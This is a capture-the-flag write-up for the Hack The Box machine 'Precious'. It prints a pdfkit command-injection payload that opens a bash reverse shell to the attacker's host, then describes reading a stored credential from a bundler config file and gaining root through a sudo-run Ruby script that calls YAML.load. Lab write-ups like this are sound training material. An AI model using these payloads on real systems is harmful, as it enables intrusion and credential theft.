Hack The Box - Precious [Easy] - 20/08/2023
HTB Writeup
We begin with a simple web page that has an input, apparently this input turns a webpage to a PDF, I tried with hosting a page on my machine and tried to use it for the input.
Then the website provided me with a PDF of the website that I’ve hosted, I’ve downloaded the PDF and used the exiftool
to figure out what was generating this PDF file, from there I saw that it was generated by pdfkit v0.8.6
.
I went to google to check if there are any exploits and I found this:
This apparently gives me a command injection exploit, and I tried the following payload:
http://myip:8080/?name=#{'%20`bash -c "bash -i >& /dev/tcp/myip/myport 0>&1"`'}
Flag 1
This gave me a reverse shell for the user ruby
, from this point I’ve run linpeas.sh
to check how can I gain access to the user henry
and I saw the file /home/ruby/.bundle/config
and I went to check it.
$ cat /home/ruby/.bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:<passwod>"
I gained access to the user with an ssh login to the hnery
user and gained the user.txt
flag located in the home directory.
Flag 2
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
This gives the clue of how to get the next flag, let’s look what this file contains:
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
We have YAML.load(File.read("dependencies.yml"))
which hints that we need to use the dependancies.yml
file to gain root.
Using google again to see how can we do that, this took me some time, but figuring out the attack surface is what is this all about. The attack surface is being the YAML loader, so I’ve tried to look for exploits there, and I found this:
I executed the /usr/bin/ruby /opt/update_dependencies.rb
command with sudo and then using the bash -p
I gained the root access.